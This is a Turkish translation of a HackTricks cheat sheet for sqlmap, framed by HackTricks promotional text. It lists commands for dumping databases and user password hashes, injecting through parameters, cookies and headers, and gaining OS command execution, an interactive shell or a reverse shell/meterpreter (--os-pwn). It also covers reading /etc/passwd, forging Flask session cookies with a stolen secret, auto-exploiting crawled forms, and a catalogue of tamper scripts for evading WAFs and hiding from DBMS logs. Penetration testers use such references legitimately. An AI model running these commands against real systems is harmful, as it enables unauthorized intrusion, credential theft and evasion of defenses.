SQLMap - Cheetsheat

Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Anında kullanılabilir zayıflık değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.

SQLmap için Temel Argümanlar

Genel

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Bilgi Al

İçsel

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB verileri

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Enjeksiyon yeri

Burp/ZAP yakalama

İsteği yakalayın ve req.txt adında bir dosya oluşturun

sqlmap -r req.txt --current-user

GET İsteği Enjeksiyonu

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST İsteği Enjeksiyonu

sqlmap -u "http://example.com" --data "username=*&password=*"

Başlıklarda ve Diğer HTTP Metotlarında Enjeksiyonlar

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Enjeksiyon başarılı olduğunda dizeyi belirtin

--string="string_showed_when_TRUE"

Değerlendirme

Sqlmap, her bir yükü göndermeden önce bazı python oneliner'ları ile işlemek için -e veya --eval kullanımına izin verir. Bu, yükü göndermeden önce özelleşmiş yollarla işlemeyi çok kolay ve hızlı hale getirir. Aşağıdaki örnekte flask çerez oturumu, gönderilmeden önce flask tarafından bilinen sır ile imzalanmıştır:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Kabuk

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Dosya Okuma

--file-read=/etc/passwd

Bir web sitesini SQLmap ile tarama ve otomatik olarak açıkları kullanma

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

İkinci Derece Enjeksiyon

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Bu yazıyı okuyun** ve sqlmap ile basit ve karmaşık ikinci sıra enjeksiyonları nasıl gerçekleştireceğiniz hakkında bilgi edinin.**

Enjeksiyonu Özelleştirme

Bir sonek ayarlayın

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Ön Ek

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Boolean enjeksiyonunu bulmaya yardım etme

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Değiştir

Kendi değiştiricini Python'da oluşturabileceğini unutma ve bu çok basittir. Bir değiştirici örneği İkinci Derece Enjeksiyon sayfasında burada bulabilirsin.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperAçıklama

apostrophemask.py

Apostrof karakterini UTF-8 tam genişlik karşılığıyla değiştirir

apostrophenullencode.py

Apostrof karakterini yasaklı çift unicode karşılığıyla değiştirir

appendnullbyte.py

Yükün sonuna kodlanmış NULL bayt karakteri ekler

base64encode.py

Verilen yükteki tüm karakterleri Base64'e dönüştürür

between.py

Büyük olan operatörü ('>') 'NOT BETWEEN 0 AND #' ile değiştirir

bluecoat.py

SQL ifadesinden sonra boşluk karakterini geçerli rastgele bir boş karakterle değiştirir. Daha sonra karakter = 'yi LIKE operatörüyle değiştirir

chardoubleencode.py

Verilen yükteki tüm karakterleri çift url-kodlar (zaten kodlanmış olanları işlemez)

commalesslimit.py

'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir

commalessmid.py

'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir

concat2concatws.py

'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir

charencode.py

Verilen yükteki tüm karakterleri URL'ye kodlar (zaten kodlanmış olanları işlemez)

charunicodeencode.py

Verilen yükteki kodlanmamış karakterleri Unicode URL'ye kodlar (zaten kodlanmış olanları işlemez). "%u0022"

charunicodeescape.py

Verilen yükteki kodlanmamış karakterleri Unicode URL'ye kodlar (zaten kodlanmış olanları işlemez). "\u0022"

equaltolike.py

Tüm eşit operatörlerini ('=') 'LIKE' operatörüyle değiştirir

escapequotes.py

Ters eğik çizgiyle tırnakları (' ve ") kaçırır

greatest.py

Büyük olan operatörü ('>') 'GREATEST' karşılığıyla değiştirir

halfversionedmorekeywords.py

Her anahtar kelimenin önüne sürümlü MySQL yorumu ekler

ifnull2ifisnull.py

'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir

modsecurityversioned.py

Sorguyu sürümlü yorumla kapsar

modsecurityzeroversioned.py

Sorguyu sıfır sürümlü yorumla kapsar

multiplespaces.py

SQL anahtar kelimelerin etrafına birden fazla boşluk ekler

nonrecursivereplacement.py

Önceden tanımlanmış SQL anahtar kelimelerini değiştirmek için uygun temsilcilerle değiştirir (ör. .replace("SELECT", "")) filtreler

percentage.py

Her karakterin önüne bir yüzde işareti ('%') ekler

overlongutf8.py

Verilen yükteki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemez)

randomcase.py

Her anahtar kelime karakterini rastgele büyük/küçük harf değeriyle değiştirir

randomcomments.py

SQL anahtar kelimelere rastgele yorumlar ekler

securesphere.py

Özel oluşturulmuş dizeyi yükün sonuna ekler

sp_password.py

Otomatik olarak DBMS günlüklerinden gizlemek için yükün sonuna 'sp_password' ekler

space2comment.py

Boşluk karakterini yorumlarla değiştirir

space2dash.py

Boşluk karakterini tire yorumu ('--') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir

space2hash.py

Boşluk karakterini bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir

space2morehash.py

Boşluk karakterini bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir

space2mssqlblank.py

Boşluk karakterini geçerli alternatif karakterler kümesinden rastgele bir boş karakterle değiştirir

space2mssqlhash.py

Boşluk karakterini bir diyez karakteri ('#') ve ardından yeni satır ('\n') ile değiştirir

space2mysqlblank.py

Boşluk karakterini geçerli alternatif karakterler kümesinden rastgele bir boş karakterle değiştirir

space2mysqldash.py

Boşluk karakterini tire yorumu ('--') ve ardından yeni satır ('\n') ile değiştirir

space2plus.py

Boşluk karakterini artı ('+') ile değiştirir

space2randomblank.py

Boşluk karakterini geçerli alternatif karakterler kümesinden rastgele bir boş karakterle değiştirir

symboliclogical.py

AND ve OR mantıksal operatörlerini sembolik karşılıklarıyla değiştirir (&& ve)

unionalltounion.py

UNION ALL SELECT'i UNION SELECT ile değiştirir

unmagicquotes.py

Tırnak karakterini (') çoklu bayt kombinasyonu %bf%27 ile değiştirir ve sonuna genel yorum ekler (çalışması için)

uppercase.py

Her anahtar kelime karakterini büyük harf değeriyle değiştirir 'INSERT'

varnish.py

Bir HTTP başlığı 'X-originating-IP' ekler

versionedkeywords.py

Her fonksiyon olmayan anahtar kelimeyi sürümlü MySQL yorumuyla kapsar

versionedmorekeywords.py

Her anahtar kelimeyi sürümlü MySQL yorumuyla kapsar

xforwardedfor.py

Sahte bir HTTP başlığı 'X-Forwarded-For' ekler

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. 20'den fazla araç ve özellikle tam bir pentest'i raporlamaya kadar olan süreci çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated